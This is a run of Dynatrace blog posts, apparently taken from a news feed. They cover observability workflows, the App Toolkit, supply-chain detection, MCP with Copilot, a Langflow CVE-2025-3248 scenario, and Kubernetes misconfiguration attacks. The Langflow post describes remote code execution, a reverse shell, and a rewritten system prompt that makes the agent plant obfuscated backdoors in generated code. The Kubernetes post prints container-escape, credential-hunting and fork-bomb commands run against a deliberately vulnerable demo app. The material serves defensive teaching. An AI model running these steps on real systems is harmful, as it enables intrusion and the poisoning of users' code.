Here, the root cause is exposed. The trace shows that Exceptions are captured, also linking directly to the related logs. There, the technical reason and the detailed error message is waiting: an ArrayIndexOutOfBoundsException occurred within the storeBooking service. This tells you precisely what broke in the code and where to look to solve the 500 error spike. Dynatrace consolidates this experience onto a single platform, saving you the time and effort that would have been required to sift through disjointed pieces of data scattered across multiple tools and enabling you to solve the problem before it escalates.

The advantage: actionable answers, not disjointed data

This entire workflow, from a high-level dashboard to a code-level root cause, takes less than a minute! Whether you start from a dashboard or the Problem app, the result is the same: you get a definitive, actionable answer in moments.

The post From anomaly to root cause in under a minute appeared first on Dynatrace news.

But we’d be remiss not to invite the creative and demanding cooks of the developer world into the kitchen itself. That’s why we’ve opened up access to the world-class environment we’ve built, complete with carefully sourced ingredients and precision tooling.

In that spirit, we follow a simple mantra: build for builders. We use what we ship, and ship what we build. That’s what drove the recent launch of the Dynatrace MCP Server, designed to equip developers with observability context and security. The result? Faster fixes, safer code, and superior performance.

But our commitment to developers goes even further. To ensure that our app teams can ship confidently and quickly, we’re focused on delivering exceptional developer experience: striving for faster, more reliable, and user-friendly tooling.

And because we share our tooling with customers and partners, every improvement we make benefits the broader community. That’s why we launched App Toolkit 1.0: a developer-first toolkit that reflects our commitment to support builders. It equips teams with the means to craft custom apps and solutions on the Dynatrace platform with greater speed, flexibility, and clarity.

From SREs building apps to automate quality gates and monitor MS Teams, to dev teams diving deep into CI/CD metrics down to commit ratios; from CMDB apps that transform Smartscape® data into dynamic configuration maps, to support staff tracking container metrics, our customers and partners have built one of the broadest and most versatile collections of custom apps on Dynatrace.

Accelerate developer productivity

The App Toolkit is the developer toolchain that’s designed to turn ideas into custom apps that extend the Dynatrace platform and deliver tailored solutions for your organization. From a single command line, developers can create, develop, and deploy apps, create new app functions, or update packages.

The focus of this release is on improving developer productivity, articulated through smarter builds, automation-ready design, and a streamlined UI. This makes it easier than ever to create, develop, and maintain Dynatrace Apps.

Smarter builds for enterprises

The App Toolkit 1.0 allows for smarter builds that dramatically cut development and deployment time while improving support for building large-scale apps. Key performance enhancements include the change detection system and enhanced type checking.

The new change detection system improves performance by only building and checking components with actual changes instead of scanning the entire codebase. This means that the dev server triggers re-builds whenever changes are made during development, ensuring that the latest updates are immediately reflected in the browser. This significantly optimizes rebuild times: going from an average of 2.7 seconds in the previous version to just 0.05 seconds, a 54-fold increase in speed.

Enhanced type checking operates seamlessly in the background when initializing a new workspace. Developers no longer need to wait for type checks to complete before proceeding. This allows teams to build custom apps for large codebases with hundreds of files, where comprehensive type checking is a bottleneck. The newly introduced incremental type checking ensures that recent changes and relevant code are prioritized, facilitating robust typing practices even in larger projects.

The combination of both features significantly accelerates feedback loops. Since only modified files and their dependencies undergo re-checking, with background type checking turned on, type errors are identified and resolved in a fraction of the time.

Automation-ready commands for CI/CD Efficiency

The App Toolkit 1.0 introduces an enhanced CLI designed for automation. Every command line can automatically run in scripts or pipelines, making it ideal for CI/CD. Commands that accept additional parameters can now be executed with arguments and options directly in the command line, instead of being prompted every time the CLI needs input. Builds and deployment processes stay automated, consistent, and repeatable, ultimately accelerating delivery.

A brand-new interface for faster, error-free development

The enhanced command line interface features a redesigned command structure. All available commands are now easier to discover and use consistently and intuitively. Each command now supports a comprehensive set of parameters as options, allowing developers to access the full capabilities of the in-pipeline automations.
The CLI has improved interactions for workflow continuity. For instance, when creating a function, the output now displays all generated files within a file tree, offering clear feedback on the results of each action.

The smarter workspace setup now features a distinct separation between the user interface components and Dynatrace app functions. This offers transparency into the workspace structure and minimizes errors, particularly relevant to enterprises dealing with increased application complexity and size. Furthermore, we’ve introduced suffixes for Dynatrace Apps functions and other conventions, significantly reducing configuration complexity.

Ready to get started?

Getting started with the App Toolkit is as straightforward as it is powerful. To kick off your build, ensure your environment meets the minimum requirements, then run the following command in your code editor terminal:

npx dt-app@latest create

Next, we recommend installing the Dynatrace Apps extension for VS Code or Cursor. For documentation, examples, and best practices, head over to Dynatrace Developer and explore everything you need to build with confidence.

The post Build Dynatrace® Apps faster, simpler, and smarter with the new App Toolkit appeared first on Dynatrace news.

Open source supply chains face a growing number of security threats, from CI/CD pipeline vulnerabilities to malicious pull requests to phishing attacks to self-propagating malware. To stay ahead, teams need clear visibility into which components are actually running in production. That’s the key to spotting compromised packages before they cause damage. When you combine that visibility with automated alerts for malicious code, you empower your organization to react quickly to major threats like the recent NPM supply chain compromises (s1ingularity, Qix, Shai Hulud).

When supply chain incidents occur within the open-source ecosystem, organizations must immediately determine their exposure. The critical question becomes: “How can we determine whether a malicious package has been incorporated into our applications?” And, more fundamentally: “Do we even know what is actually deployed and executing in our runtime environments?”

Dynatrace provides powerful capabilities to help you not only answer those questions, but respond rapidly to security threats.

• Smartscape entities provide real-time representation of your complete environment, including all deployed software components and their versions. By using the Dynatrace Query Language (DQL) you can retrieve the software components in use and cross-reference them with a list of known malicious packages. This allows you to manually check for specific packages and quickly shows you where these are used.
• Runtime Vulnerability Analytics (RVA) does all of this automatically and continuously for you. Additionally, it uses data about network and code reachability, risk scoring metrics, and other properties to enable environment specific risk prioritization for vulnerable or malicious components.
• Automated workflows enable you to respond to findings created in the context of RVA, notify responsible teams, open tickets, and orchestrate response actions.

This automated and integrated approach can deliver the following measurable outcomes:

• Reduced Mean Time to Detect (MTTD) through continuously updated threat intelligence combined with automated monitoring.
• Reduced Mean Time to Acknowledge (MTTA) by directly engaging responsible stakeholders using established ownership data.
• Reduced Mean Time to Investigate (MTTI) by providing comprehensive details on malicious package deployment locations, supplemented with logs and traces that enable observation of potential post-compromise activity.
• Minimized risk of successful adversary persistence by intercepting and disrupting attack chains at the initial compromise stage.

Get started with RVA and automated workflows

First, we have a look at the manual approach and then we’ll dive into what RVA and workflows can do for you.

Searching for malicious packages you’ve read about is as easy as executing a DQL query like the following:

fetch dt.entity.software_component 
| filter contains(softwareComponentShortName, "debug") 
| fieldsAdd softwareComponentType, packageName, softwareComponentVersion

The ability to manually search software components and filter for potentially malicious packages represents a valuable capability that can accelerate incident response. However, this approach requires maintaining extensive lists of suspicious packages and continuously updating search queries, making it well-suited for exploratory or investigative work but suboptimal for automated supply chain compromise detection.

RVA eliminates this operational burden by delivering a comprehensive, ready-to-use inventory of security issues within your environment. Its runtime-based approach inherently generates minimal false positives, leveraging the same characteristic that enhances vulnerability management to detect malicious package infiltration. RVA surfaces vulnerabilities only when packages are actively loaded into memory and therefore represent genuine threats, ensuring high-fidelity detection with actionable results.

To improve performance as described earlier, we need to link the detection of harmful packages with fast and efficient ways to fix them. This means using automated systems that alert the right teams as soon as a harmful component is found in their clusters or namespaces, so they can take action quickly.

You can implement an event trigger using the Dynatrace Workflow app such as the following to automatically initiate the workflow whenever a new finding based on a malicious package is created:

CWE-506 refers to the Common Weakness Enumeration ID 506: Embedded Malicious Code. Also, we filter in our trigger on new findings so people don’t get notified over and over again on already acknowledged events.

Now you can use the full extent of workflows to retrieve ownership information and notify teams using Slack, Teams, Jira or other methods. You could also automatically start collecting forensic evidence or deploy resources like network policies to mitigate the ongoing threat.

What’s next?

To be able to further investigate supply chain security incidents, Dynatrace recommends ingesting audit logs of cloud service providers like Amazon CloudTrail, Google Cloud Audit Logs, etc. as well as audit logs from your SCM platforms of choice like GitHub, GitLab, etc. Check out the Security Investigator app to collaboratively resolve incidents fast.

The post Supply chain security: How to detect malicious software packages with Dynatrace appeared first on Dynatrace news.

In this blog, we’ll demonstrate how attackers exploiting CVE-2025-3248 can use traditional attack techniques to manipulate AI agent behavior and plant a malicious backdoor in AI-generated source code.

To help mitigate the risks posed by vulnerabilities in agentic AI frameworks, we show how Dynatrace Cloud Application Detection and Response (CADR) detects malicious activity to protect both the agents and the environment they run in.

The attacker’s perspective: What is CVE-2025-3248 and how to exploit it?

The critical vulnerability CVE-2025-3248 in the Langflow framework leads to remote code execution (RCE) due to the ability to perform code injection (CWE-94) by unauthenticated users (CWE-306). Dynatrace security researchers discovered that in addition to affecting the Python package langflow v1.3.0 and below, the package langflow-base v0.3.0 and below are also vulnerable.

In our scenario, an attacker exploits this vulnerability to get remote access to the container running Langflow. The attacker manipulates the instructions to the LLM in the AI agent to inject a backdoor into generated code functions as shown in the figure above.

Let’s step back and take a look at the process from the beginning. The figure below shows the user interface of Langflow. To configure the agent, a benign system prompt saying “You are a programming assistant. Respond to technical queries with clarity, accuracy, and efficiency” is used in the setup. The user can interact with the agent through a chat input and receives answers through a chat output window. The agent can also be exposed and integrated into an external application using an API.

In our setup, the Langflow framework is deployed on a Kubernetes cluster and is accessible to users to work on specific tasks, such as using the agent to generate source code. The attacker in our scenario uses one of the public exploits for CVE-2025-3248 to inject and execute attacker-controlled code into the container, like reading the /etc/passwd file as shown below.

The attacker then opens a reverse shell to execute more commands on the application host and further compromise the system. Specifically, the attacker establishes a connection using port 7777 to facilitate command execution on the container. Opening a reverse shell enables the attacker to be much quieter when executing certain commands, since the initial exploit script causes an exception which is visible in the log files.

To further penetrate the system, the attacker searches for the SQLite database used by Langflow and then proceeds to enumerate user accounts, credentials, and flows. They could exfiltrate the data or alter it in the database, further compromising the integrity and security of the system.

In the default deployment configuration of Langflow, which uses a local SQLite database, the attacker can access this data without needing any credentials. If Langflow is configured to use a different database backend (e.g., PostgreSQL), the attacker may still be able to retrieve the necessary credentials by inspecting environment variables.

The attacker then changes the system prompt of the AI agent to a malicious one in the database to make the AI agent inject a backdoor into generated code and obfuscate it.

Now, when a user requests the agent to generate a code snippet, it would include an obfuscated malicious portion with a code comment telling the user that the code is there to ensure backwards compatibility and not to remove it, as seen below.

While this might appear to be obviously suspicious code, the risk increases significantly when the agent is tasked with producing larger or more complex codebases. In such cases, users may be inclined to run the code without thoroughly reviewing or verifying its contents. The potential impact becomes even more serious if the Agentic AI is integrated into development environments where it can test and execute code directly on a developer’s machine.

The defender’s perspective: How the Dynatrace CADR approach helps

Dynatrace enables the detection and prevention of the type of attacks described above on multiple layers: By detecting the vulnerability as the entry door for the attacker, identifying misconfigurations that enable an attack to penetrate the system, and investigating suspicious traces caused by the exploit.

Let’s walk through an example scenario that explores all three layers. The journey begins when Dynatrace workflows notifies a Site Reliability Engineer (SRE) on Slack about a Python exception through Dynatrace workflows.

This encourages the SRE to have a closer look at the affected container, which has a critical vulnerability that is detected and visible in the Vulnerabilities App. Investigating the affected container also shows several misconfigurations in the Security Posture Management App which leads the SRE to align with internal security analysts and start a deeper investigation using the Security Investigator App.

First layer of defense: Detecting CVE-2025-3248 with Runtime Vulnerability Analytics

The version of the Langflow framework we installed contains the recent critical vulnerability CVE-2025-3248 which is detected right away by Dynatrace’s Runtime Vulnerability Analytics as shown below.

Agentic AI frameworks are often based on Python and the recently introduced ability in Dynatrace to detect Python vulnerabilities at runtime provides immediate information about potential doors for attackers. Applying the recommended fix outlined in the vulnerabilities app would prevent an attacker from exploiting the system.

Second layer of defense: Identifying misconfigurations with Security Posture Management (SPM)

Specific configurations in complex systems enable attackers to perform certain actions to penetrate through a system and achieve their goal.

In our scenario, the attacker employs a reverse shell, which is a common tactic used to enable remote command execution. In the current configuration of our Kubernetes cluster a network policy is missing which is shown in the SPM app.

To address the tactic of deploying a reverse shell, implementing a network policy that restricts all outbound connections, except for HTTP/S ports, serves as an effective countermeasure, while allowing essential web access for the AI Agent.

Applying network policies across a Kubernetes cluster is a security best practice, as outlined in benchmarks like those from the Center for Internet Security (CIS). The Dynatrace Security Posture Management application can identify and prevent such misconfigurations. In our scenario, as shown below, we apply a network policy to the langflow namespace which prevents attackers from using random ports for a reverse shell.

Although the network policy in our scenario does not entirely protect against advanced attack techniques, as attackers may circumvent restrictions, they increase the complexity and difficulty of executing successful attacks. By adopting these SPM rules, best practices can be enforced to effectively reduce the attack surface. Adjusting deployment configurations and aligning them with compliance benchmarks, organizations can significantly reduce the risk of successful compromises. Good compliance practice will further reduce the blast radius in case of a successful attack, for example by preventing attackers from escaping a compromised container.

As we can see in the screenshot below, when the network policy is configured, the attacker is unable to establish a reverse shell connection. See the figure below with the message “Exploit failed with status 200”. This makes the traces of the attack more noisy and visible in the log files and allows analysts to draw conclusions more easily.

Third layer of defense: Tracing the exploit with the Security Investigator

After being notified by a workflow automation our analyst runs a query in the Security Investigator to check for exceptions on any of the monitored Kubernetes clusters and receives a number of outputs as shown below.

Tracing the cause of the exception in the log entries, the analyst discovers the following suspicious log lines showing the command and its output executed by the attacker.

Based on this, the analyst decides to further investigate this activity and discovers multiple attacker activities as shown below.

Filtering out the relevant content from the log entries of the affected container reveals the different steps performed by the attacker, such as executing shell commands and deploying a reverse shell to further penetrate the system and manipulate the AI agent.

Conclusion

The exploitation of CVE-2025-3248 demonstrates how traditional attack techniques—like remote code execution and reverse shells—can be repurposed to compromise agentic AI systems. As these frameworks become more deeply embedded in enterprise workflows, the attack surface will continue to expand, and the stakes will grow higher.

Securing agentic AI isn’t just about patching vulnerabilities. It’s about anticipating how attackers will adapt and evolve. The Dynatrace multi-layered approach, combining runtime vulnerability analytics, security posture management, and deep log investigation, provides a robust foundation for defending these dynamic environments.

The post Remediating CVE-2025-3248: How Dynatrace Application Security protects Agentic AI applications appeared first on Dynatrace news.

Unless you’ve been living under a rock this past year, you’ve heard the buzz about how AI is changing the day-to-day lives of developers, whether it’s using LLMs for vibe coding or adopting agentic AI concepts to improve productivity. In particular, the introduction of Model Context Protocol (MCP) as a standard for connecting AI agents with other agents or tools has led to exponential growth in the number of solutions connecting AI coding assistants with APIs, databases, and more. Last month, GitHub, publisher of the prominent AI coding assistant GitHub Copilot, announced its new MCP registry as a place where developers can find links to MCP servers. This registry solves the challenge of numerous registries, repos, or community threads listing the same MCP servers.

We’re excited to share that the GitHub MCP registry now includes Dynatrace MCP, so developers can integrate Dynatrace observability and security analysis directly into their workflows.

In this blog post, we’ll explore how developers can use Dynatrace MCP together with GitHub Copilot to streamline troubleshooting, enhance security, and boost productivity—without ever leaving their IDEs.

Need to troubleshoot an issue? Dynatrace MCP has the answers

One of the biggest challenges in troubleshooting and observability is knowing where to look for missing data when issues arise in production. It might sound odd, but when you consider the sheer number of tools, applications, environments, and layers of source code developers need to navigate, it’s not at all clear where they should look for quick answers. No wonder onboarding time is such a major factor in engineering productivity.

Your day as a developer might start with a complaint about something not working correctly. You receive a Jira ticket with a cryptic error message that includes a link to a service health dashboard or a notification in the problem list. You start rummaging through the logs and dashboards to find answers outside your IDE, with little context. This greatly increases your cognitive load and delays the problem’s resolution.

Developers who use Dynatrace, though, don’t have to manually dig through logs and dashboards. They get clear summaries, root cause information, and all relevant data in the context of the affected service. Thanks to the updated problem flow, it’s easy for them to identify the root cause and remediate it.

Context is key

Now imagine a scenario in which your DevOps team uses MCP as their standard for integrating external tools and insights. As a developer, your instinct is to jump straight into the source code, so why not share as much context as possible right there? Utilizing GitHub Copilot with the Dynatrace MCP integration in place, you get all relevant data from your production environment and quickly isolate the problem, giving you the ability to:

• Get information on the root cause
• Query related logs, metrics, and traces
• Get real-time data from all environments, including production
• Leverage additional gathered insights, such as CPU and memory profiling, from the affected service
• Get further context using query patterns, such as “group logs by customer impact”

And the best is, you don’t need to know how or where to look—Dynatrace handles all this for you automatically. And there’s more: you can even ask Dynatrace for remediation suggestions.

_{Figure 2. Dynatrace identifies the problem root cause as an arithmetic exception, all via LLM and the MCP protocol in the developer VS Code IDE. (video)}

What’s happening behind the scenes

When you type a natural language prompt into the GitHub Copilot chat, GitHub’s MCP client establishes a connection with the Dynatrace MCP server, which then connects to Dynatrace. The LLM converts the prompt into a context-aware call and ultimately transforms it into a DQL query that it executes on Dynatrace Grail® data lakehouse, which retrieves the necessary data.

Need to fix a security issue? Dynatrace MCP has the answers

By integrating security testing practices earlier in the Software Development Lifecycle, the Shift-left principle has brought security responsibilities into the developer’s world, and they’re here to stay. Developers often find themselves reacting to alerts from SREs, manually auditing code, or relying on static analysis tools that frequently miss context-specific vulnerabilities.

You can instantly access insights like:

• Vulnerabilities in your code, including open source and third party vulnerabilities
• Recommendations for fixing an issue
• Proactive checks tailored to your current coding context

All of this happens without pulling developers away from their flow. MCP allows for a smarter, more proactive approach to security—one that’s embedded in their development process.

Need to create new code? Dynatrace is here to help

Writing new code with Dynatrace allows developers to look ahead proactively. By typing natural-language, conversational questions like “Have I bumped into CPU limits?” or “What is my CPU usage? Is it too high?” developers can identify potential bottlenecks and performance issues before they become real problems, ultimately delivering higher quality code.

Developing new code or optimizing a service in an existing app brings even more complexity. Such work involves identifying inefficient API usage, reducing unnecessary load, improving performance, and assessing the potential impact of the new code so as to minimize deployment issues.

Need to verify recent CICD builds? Dynatrace helps you shift left

As a developer, you want to catch build issues early—before they snowball into deployment delays or production incidents. With Dynatrace MCP, you can type questions like:

• “What failed in the last build?”
• “Are there any performance regressions tied to this commit?”
• “Did this deployment introduce any anomalies?”

By integrating Dynatrace into your CI/CD pipeline, you gain real-time visibility into build health, test coverage, and deployment impact. This means faster feedback loops, fewer surprises, and higher delivery quality. Dynatrace helps you to shift from reactive debugging to proactive delivery assurance—all through natural language interactions.

Get started with Dynatrace MCP

The Dynatrace MCP server is available as a community-supported open source project. To familiarize yourself with all it can do, visit the Dynatrace MCP project. in our GitHub repository. There you’ll find all the necessary documentation to guide you through the setup process and explain all the available capabilities.

The post Sky-high developer productivity with Dynatrace MCP and GitHub Copilot appeared first on Dynatrace news.

In the previous posts of our Kubernetes security series, we explored the anatomy of security misconfigurations and mapped attack paths to real-world incidents. Today, we dive deep into the container layer, where security boundaries are established or broken at the most fundamental level.

We’ll demonstrate these concepts using a real application, showing you exactly how attackers exploit these misconfigurations and how you can defend against them with Dynatrace Kubernetes Security Posture Management (KSPM).

Understanding the container security model

Kubernetes orchestrates containers through runtimes like containerd, which leverage various kernel features for isolation.

Key security features

Containers rely on several core Linux kernel features to isolate and restrict workloads. The diagram below summarizes the key primitives:

• Namespaces. Provide isolated views of system resources like processes, networking, and filesystems.
• Control Groups (cgroups). Enforce resource limits on CPU, memory, I/O, and network usage.
• Linux Capabilities. Break down root privileges into ~40 fine-grained permissions.
• Mandatory Access Control (MAC). Systems like SELinux and AppArmor enforce security policies beyond traditional Unix permissions.
• Seccomp. Filters system calls at the kernel level; Docker’s default profile blocks ~44 risky syscalls.

Kubernetes exposes these through `securityContext`:

securityContext: 
  runAsNonRoot: true          # Enforces non-root execution 
  runAsUser: 1000            # Sets the UID 
  allowPrivilegeEscalation: false # Prevents gaining new privileges 
  readOnlyRootFilesystem: true     # Makes root filesystem read-only 
  capabilities: 
    drop: ["ALL”]           # Removes all capabilities 
    add: ["NET_BIND_SERVICE"] # Adds back specific capabilities 
  seccompProfile: 
    type: RuntimeDefault     # Applies default seccomp profile

Understanding the attack simulation

Our demonstrations simulate certain realistic post-compromise behavior. After gaining initial access (e.g., via SQL injection), attackers typically follow this progression:

1. Reconnaissance. Discovering privileges and environment through namespace enumeration, capability checking, network topology mapping, and service identification.
2. Privilege Misuse. Leveraging capabilities to escalate via CAP_SYS_ADMIN abuse, host mount exploitation, privileged containers, and container escape techniques.
3. Lateral Exploration. Expanding access across the cluster through pod-to-pod movement, service discovery, secret enumeration, and cross-namespace access.
4. Potential Impact. Causing damage such as data exfiltration, cryptomining, service disruption, and persistent backdoors.

Setting up our test environment

We’ll use the Dynatrace Unguard application—a deliberately vulnerable microservices app designed for security demonstrations.

Follow the installation instructions in the Unguard repo, then run the following command to verify unguard was deployed correctly.

# Verify deployment 
$ kubectl get pods -n unguard

The Unguard deployment creates multiple services including payment processing, user profiles, frontend, and membership management.

Baseline security assessment

Check the current security posture using standard kubectl commands:

# Examine container security context for payment service 
kubectl get deployment unguard-payment-service -n unguard -o json | \ 
  jq '.spec.template.spec.containers[0].securityContext // {} | {runAsUser, runAsNonRoot, privileged, allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities}' 
 
# Check resource limits and requests for payment service container 
kubectl get deployment unguard-payment-service -n unguard -o json | \ 
  jq '.spec.template.spec.containers[0].resources // {} | {limits, requests}' 
 
# Review pod-level security settings for payment service 
kubectl get deployment unguard-payment-service -n unguard -o json | \ 
  jq '.spec.template.spec | {hostPID, hostNetwork, hostIPC, securityContext: {runAsUser, runAsNonRoot}}'

You’ll notice Unguard has some security configurations, but they’re incomplete—a common real-world scenario.

Introducing additional security misconfigurations

To demonstrate the full spectrum of container security issues, we’ll manually introduce misconfigurations to specific services:

We’ll use kubectl patch to introduce these vulnerabilities. Here is an example for the payment service:

# Introduce vulnerabilities to payment service 
kubectl patch deployment unguard-payment-service \ 
  -n unguard \ 
  --type='json' \ 
  -p='[PATCH_JSON]' 
 
# Wait for rollout 
kubectl rollout status deployment/unguard-payment-service -n unguard 

To add additional patterns, replace [PATCH_JSON] with the appropriate patch and the deployment name with the target service. Below you can find a list of available patches:

Payment Service: adding privileged mode and dangerous capabilities

[ 
  {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/allowPrivilegeEscalation", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/privileged", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/capabilities", "value": {"add": ["SYS_ADMIN", "NET_ADMIN", "DAC_OVERRIDE"]}}, 
  {"op": "add", "path": "/spec/template/spec/hostPID", "value": true}, 
  {"op": "remove", "path": "/spec/template/spec/containers/0/resources"} 
]

Profile Service: enable ALL capabilities

[ 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext", "value": {}}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/privileged", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/capabilities", "value": {"add": ["SYS_ADMIN", "NET_ADMIN", "SYS_PTRACE", "DAC_OVERRIDE", "DAC_READ_SEARCH", "SYS_MODULE"]}}, 
  {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/allowPrivilegeEscalation", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/hostPID", "value": true} 
]

Frontend: add access to host

[ 
  {"op": "add", "path": "/spec/template/spec/hostPID", "value": true}, 
  {"op": "add", "path": "/spec/template/spec/hostNetwork", "value": true} 
]

Membership Service: remove resource limits

[ 
  {"op": "remove", "path": "/spec/template/spec/containers/0/resources"} 
]

Exploiting misconfigurations: A hacker’s perspective

Now, let’s see how attackers can exploit these vulnerabilities after gaining initial container access.

Privilege discovery

One of the first things an attacker does is to identify the privilege of the resources they have access to, to understand what they can or cannot do.

$ kubectl get pods -n unguard 
# Get into the profile service container 
$ kubectl exec -it deployment/unguard-profile-service -n unguard -- /bin/sh 
 
# Inside the container 
$ id 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) 
 
$ cat /proc/1/status | grep ^Cap 
CapInh: 0000000000000000 
CapPrm: 000001ffffffffff 
CapEff: 000001ffffffffff 
CapBnd: 000001ffffffffff 
$ # The capability value 000001ffffffffff means ALL capabilities! 
$ grep -i "NoNewPrivs" /proc/self/status 
NoNewPrivs: 0  # Can gain new privileges! 
 
$ # Check true privilege 
$ ls -la /dev/mem 
crw-r----- 1 root kmem 1, 1 Jul 7 09:44 /dev/mem 
$ # Can access physical memory!

In the example above you see the hexadecimal value 000001ffffffffff. This value means that all Linux capabilities are enabled for the current user—equivalent to root privileges on a host. There are also other values possible such as:

• 0000000000000000 = No capabilities (secure)
• 00000000a82425fb = Limited dangerous capabilities
• 000001ffffffffff = MAXIMUM privilege (41 capabilities)

Escape from container

With added privileged access, multiple escape routes become available such as accessing the filesystem or mounting new devices.

# Still inside the profile service container 
# Technique 1: Direct access to host filesystem via /proc 
$ ls -la /proc/1/root/ 
total 72 
drwxr-xr-x   19 root     root          4096 Jun  5 11:57 . 
drwxr-xr-x    3 root     root          4096 Jun  5 11:57 etc 
drwxr-xr-x    5 root     root          4096 Jun  5 12:20 root 
drwxr-xr-x   14 root     root          4096 May 16 06:01 usr 
drwxr-xr-x   13 root     root          4096 May 16 06:04 var 
 
$ # Read host files directly! 
$ cat /proc/1/root/etc/hostname 
ip-10-0-1-234.ec2.internal 
 
$ head -3 /proc/1/root/etc/passwd 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
 
# Technique 2: Mount host devices 
$ mount -t devtmpfs devtmpfs /mnt 
$ ls /mnt | grep -E "nvme|sd|loop" 
loop0  loop1  loop2  loop3  loop4  loop5  loop6  loop7  loop8  loop9 
nvme0  nvme0n1  nvme0n1p1  nvme0n1p14  nvme0n1p15 
 
$ # All host devices are now accessible! 
$ umount /mnt 
 
# Technique 3: Access host filesystem via symlinks 
$ ln -s /proc/1/root/etc /host-etc 
$ ls /host-etc/ | head -5 
$ cat /host-etc/shadow | head -1 
root:!:19876:0:99999:7:::

Leverage privileged containers

The attacker can leverage privileged resources to retrieve important information or perform actions that can help further compromise the environment.

# Access the privileged payment service 
$ kubectl exec -it deployment/unguard-payment-service -n unguard -- /bin/sh 
 
# Inside the privileged container 
$ id 
uid=0(root) gid=0(root) groups=0(root) 
 
# Access kernel debugging features 
$ mount -t debugfs none /sys/kernel/debug 
$ ls /sys/kernel/debug | head -5 
accel 
acpi 
bdi 
block 
clear_warn_once 
 
# Check kernel modules 
$ ls /proc/1/root/lib/modules/ 
6.8.0-1029-aws  6.8.0-1030-aws  6.8.0-1031-aws 
$ # Could load malicious kernel modules! 
 
# Direct memory access 
$ ls -la /dev/mem 
crw-r----- 1 root kmem 1, 1 Jul 7 09:44 /dev/mem 
 
# Find container runtime sockets 
$ find /proc/1/root -name "*.sock" 2>/dev/null | grep -E "docker|containerd" 
/proc/1/root/run/containerd/containerd.sock

Lateral movement via host access

The ability to move across networks is important as it enables attackers to pivot to more important resources.

$ kubectl exec -it deployment/unguard-frontend -n unguard -- /bin/sh 
# Check process visibility 
$ echo "Total processes visible: $(ls /proc | grep -E '^[0-9]+$' | wc -l)" 
Total processes visible: 167 
 
# Find critical host processes 
$ for comm in kubelet dockerd containerd sshd systemd; do 
    pgrep -x "$comm" 2>/dev/null | head -1 | xargs -I{} sh -c 'echo -n "$1: " && cat /proc/{}/cmdline | tr "\0" " " && echo' -- "$comm" 
  done 
 
kubelet: /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf 
containerd: /usr/bin/containerd 
sshd: sshd: /usr/sbin/sshd -D 
systemd: /lib/systemd/systemd --system --deserialize 66 
 
# See ALL network interfaces (host + containers) 
$ ls /sys/class/net/ | wc -l 
15 
$ ls /sys/class/net/ 
cni0  docker0  ens5  flannel.1  lo  veth0eb667b2  veth1232f5ba ... 
 
# Can intercept traffic from other containers 
$ cat /proc/net/tcp | wc -l 
68 
 
# Find service account tokens from other containers 
$ find /proc -path "*/root/secrets/*/token" 2>/dev/null | head -3 
$ # Could steal authentication tokens!

Resource exhaustion attack

When removing limits, a single container can crash the entire node.

$ kubectl exec -it deployment/unguard-membership-service -n unguard -- /bin/sh 
 
# Check current limits (none!) 
$ cat /sys/fs/cgroup/memory.max 2>/dev/null || cat /sys/fs/cgroup/memory/memory.limit_in_bytes 2>/dev/null 
max 
# No CPU limit! 
$ cat /sys/fs/cgroup/cpu.max 2>/dev/null || cat /sys/fs/cgroup/cpu/cpu.cfs_quota_us 2>/dev/null 
max 100000 
 
# Simple resource consumption test 
$ # Allocate 1GB of memory 
$ dd if=/dev/zero of=/tmp/bigfile bs=1M count=1024 
1024+0 records in 
1024+0 records out 
 
$ # Fork bomb (DON'T RUN IN PRODUCTION!) 
$ # :(){ :|:& };: 
$ # Without limits, these attacks quickly consume all node resources causing the infamous "exit code 137" (OOM kill)

Detecting the exploit in real-time with Dynatrace KSPM

Dynatrace Security Posture Management is continuously monitoring the environment, identifying misconfigurations while the attacks unfold:

The above identified misconfigurations include:

• Privileged Container Admission: containers with root-level access
• Host Namespace Violations: pods sharing host PID/network/IPC
• Dangerous Capabilities: permissions like SYS_ADMIN that break isolation
• Missing Resource Limits: pods without CPU/memory constraints

Further analysis

You can drive your investigation further by querying security events directly within Notebooks, revealing further insights:

fetch events, from: -10m 
| filter dt.system.bucket == "default_security_events" 
| filter event.type == "COMPLIANCE_FINDING" 
| filter k8s.cluster.name == "demo" 
| filter contains(compliance.result.object.name, "unguard") 
| fieldsAdd  dt.entity.cloud_application_instance 
| filter in(compliance.rule.title, array( 
    "Minimize the admission of root containers", 
    "Minimize the admission of containers with allowPrivilegeEscalation", 
    "Minimize the admission of containers with added capabilities", 
    "Minimize the admission of containers with capabilities assigned", 
    "Minimize the admission of privileged containers", 
    "Minimize the admission of containers wishing to share the host process ID namespace", 
    "Minimize the admission of containers wishing to share the host network namespace" 
)) 
| summarize violations = count(), by: {compliance.result.object.name, compliance.rule.title,compliance.rule.severity.level, compliance.standard.short_name} 
| sort compliance.result.object.name asc, violations desc

Remediating the exploit – implementing proper security

As an admin, we can easily fix these vulnerabilities by applying the following configuration:

kubectl patch service unguard-payment-service \ 
  -n unguard \ 
  --type='json' \ 
  -p='[ 
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/privileged", "value": false}, 
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/allowPrivilegeEscalation", "value": false}, 
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/capabilities", "value": {"drop": ["ALL"]}}, 
    {"op": "add", "path": "/spec/template/spec/containers/0/resources", "value": {"limits": {"memory": "256Mi", "cpu": "200m"}, "requests": {"memory": "128Mi", "cpu": "100m"}}}, 
    {"op": "replace", "path": "/spec/template/spec/hostPID", "value": false} 
  ]'

This adds the following improvements to our environment:

✅ Non-root execution (runAsUser: 1000)
✅ Dropped all capabilities (drop: [“ALL”])
